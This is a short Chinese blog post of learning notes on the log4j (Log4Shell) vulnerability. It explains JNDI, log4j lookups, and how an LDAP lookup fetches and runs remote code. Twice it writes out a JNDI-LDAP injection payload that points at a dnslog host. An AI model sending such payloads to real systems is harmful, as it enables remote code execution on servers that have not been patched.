log4j漏洞学习
Posted 向阳-Y.
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了log4j漏洞学习相关的知识,希望对你有一定的参考价值。
log4j漏洞产生的主要原因是因为JNDI注入
1.什么是JNDI
JNDI可以理解为JDBC的一个替代升级产品。
通常我们可以采用JDBC连接数据库,需要配置数据库端口,数据库地址等信息。
但当某个企业不想再用mysql数据,而是想用oracle数据时,JDBC需要修改大量的代码,并且还有其他一系列的问题会出现,相当棘手。
这时候出现了JNDI(Java Naming and Directory Interface),JNDI可以实现只需要一个数据源名字则可连接到对应的数据库,配置简单。
注入流程分析
$jndi:ldap://xxxxxx.dnslog.cn/test
其中ldap也可以替换成rmi,jdbc(但是为什么我们一定要用ldap呢?请继续往下看。)
如果JDNI基于LDAP服务,找不到对应的资源,则会去指定的地址请求,如果是命名应用,则会将文件下载到本地,并执行static代码块
log4j+JNDI配合
lookup方法官网解释:
https://logging.apache.org/log4j/2.x/manual/lookups.html
为了方便用户调用,log4j为了方便从不同的渠道获取数据(例如日期里、docker、java中获取),提供了一个lookups方法,就会尝试对立面的内容进行解析并执行
所以当用户构造好payload,再配合jndi和ldap就可以复现log4j的高危漏洞
$jndi:ldap://xxxxxx.dnslog.cn/test
以上是关于log4j漏洞学习的主要内容,如果未能解决你的问题,请参考以下文章